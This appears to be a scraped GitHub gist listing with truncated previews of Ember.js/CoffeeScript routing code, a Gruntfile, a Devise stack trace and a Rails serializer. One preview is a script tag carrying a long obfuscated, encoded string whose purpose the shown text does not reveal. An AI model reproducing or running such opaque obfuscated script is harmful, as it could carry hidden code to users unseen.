This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
`import Ember from 'ember';` | |
`import Resolver from 'ember/resolver';` | |
`import loadInitializers from 'ember/load-initializers';` | |
`import config from './config/environment';` | |
`import TruncateTextHelper from 'dochub/helpers/truncate-text';` | |
`import DS from 'ember-data'` | |
App = Ember.Application.extend( | |
modulePrefix: config.modulePrefix |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = (grunt) -> | |
grunt.loadNpmTasks('grunt-contrib-watch') | |
grunt.loadNpmTasks('grunt-contrib-concat') | |
grunt.loadNpmTasks('grunt-contrib-coffee') | |
grunt.loadNpmTasks('grunt-sass') | |
grunt.initConfig | |
pkg: grunt.file.readJSON('package.json') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
undefined local variable or method `session' for #<Devise::FailureApp:0x00000005a421d0> | |
devise (3.2.2) lib/devise/controllers/store_location.rb:38:in `store_location_for' | |
devise (3.2.2) lib/devise/failure_app.rb:194:in `store_location!' | |
devise (3.2.2) lib/devise/failure_app.rb:57:in `redirect' | |
devise (3.2.2) lib/devise/failure_app.rb:39:in `respond' | |
actionpack (3.2.6) lib/abstract_controller/base.rb:167:in `process_action' | |
actionpack (3.2.6) lib/abstract_controller/base.rb:121:in `process' | |
actionpack (3.2.6) lib/action_controller/metal.rb:203:in `dispatch' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#### Getting the following error #### | |
# Error while loading route: undefined | |
# Store | |
# Override the default adapter with the `DS.ActiveModelAdapter` which | |
# is built to work nicely with the ActiveModel::Serializers gem. | |
App.ApplicationAdapter = DS.ActiveModelAdapter.extend() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ember router | |
App.Router.reopen | |
location: 'history' | |
rootURL: '/u/' | |
App.Router.map -> | |
@route 'login' | |
@resource('documents', path: '/') | |
@route('new') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
App.Router.reopen | |
location: 'history' | |
rootURL: '/u/' | |
App.Router.map -> | |
@route 'login' | |
@resource('documents', path: '/') | |
@route('document', path: '/:document_id') | |
@resource('pages', path: '/:document_id/pages') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
App.Router.reopen | |
location: 'history' | |
rootURL: '/u/' | |
App.Router.map -> | |
@resource('documents', path: '/') | |
@resource('document', path: '/:document_slug/:document_id') | |
App.DocumentRoute = Ember.Route.extend | |
# allows us to use slug as the url |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
App.Router.reopen | |
location: 'history' | |
App.Router.map -> | |
@resource('dashboard', path: '/', -> | |
@resource('user', path: '/:userSlug') | |
) | |
@resource('post', path: '/:ownerSlug/:hashId/:postSlug', -> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script language="javascript" type="text/javascript">var lO0='=oQKpkyJ8dCK0lGbwNnLn42bkBjM8xWYjlmboNWZ0BjM8NHdlxGMywHZlNmbhZHZhBjM8lHbpNXYlBjM8RnbhxGcvJ3Yh1kMywHdjVmbu92YllGfn5Wau5WdyBjM8RWZl5GMywXdvlVRzwHdzlGb5FGbwBjM8lncvR3YlJXaEBjM85WYwIDf0djM8JXZ29GayIDfyV2Znlmc0xnb0JmMywXZjlmdlRUawIDfjVWawIDfyVmdvB3bwBjM8JXZ0VHct92YwIDf0NWZu52bjBjM8lnch1WayBHfldGZlx2dv52awIDfkxWdvdHMyw3dllmVwIDfzVWamlGbw1WazBjM8RXYoRHMywHZ19GbjxHMxcmbpRGZhBHfw9mcEJXaBBjM8xWdmJXZ39GcwIDf05WayBHMywHevJGcvJHZwIDfzJXZkx2bmBjM8VGdzFGcwIDflZ3btBjM852bpR3Yl5mbvNGMyw3Zul2dvxGbhBjM8FWakVWTwIDf05WZtV2YhxGc81WYlJHdTV0M8dmbp1WYlJHdzxnchJWduVWbwIDfslWYtVGMywXYpZHMywXeuFWbwIDfkV3bsNEMywXZzFWZsBHMywHej9GZ8hHdwBHf0BHc8NHdvh2cuVWZyN2c8JUTTBjM8R3YlxWZzBjM8ZGZwx3cshHfzVmbpxWbhVmc0NHMywnbvlGdhJ3ZlRnbJBjM8dmbpN3clN2YhBjM8RnblRnbvNGf4NHb4xnclZXZ39GawIDfldWYuFWbwIDfzVmb1RVawIDfw9GdyIDf05WYXBjM8V2VFNDfwVWZrBjM8RHanlWYyR3cwIDfwVGdzBjM89WakVXYwIDf5FGbwBjM8VmbvdGMyw3ay92dwIDfFBjM8N3blRWa2BjM8RWZ0FmcnVGdulGMywnQNNFOywHWT9EMywnclRGbvZGMywnc19GMywnZpBjM8JXdPBjM8NXZpJ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Error in console | |
Assertion Failed: You must include an `id` for signature in an object passed to `push` | |
# API | |
class SignatureInviteSerializer < ActiveModel::Serializer | |
attributes :id | |
has_many :signatures | |
end |
OlderNewer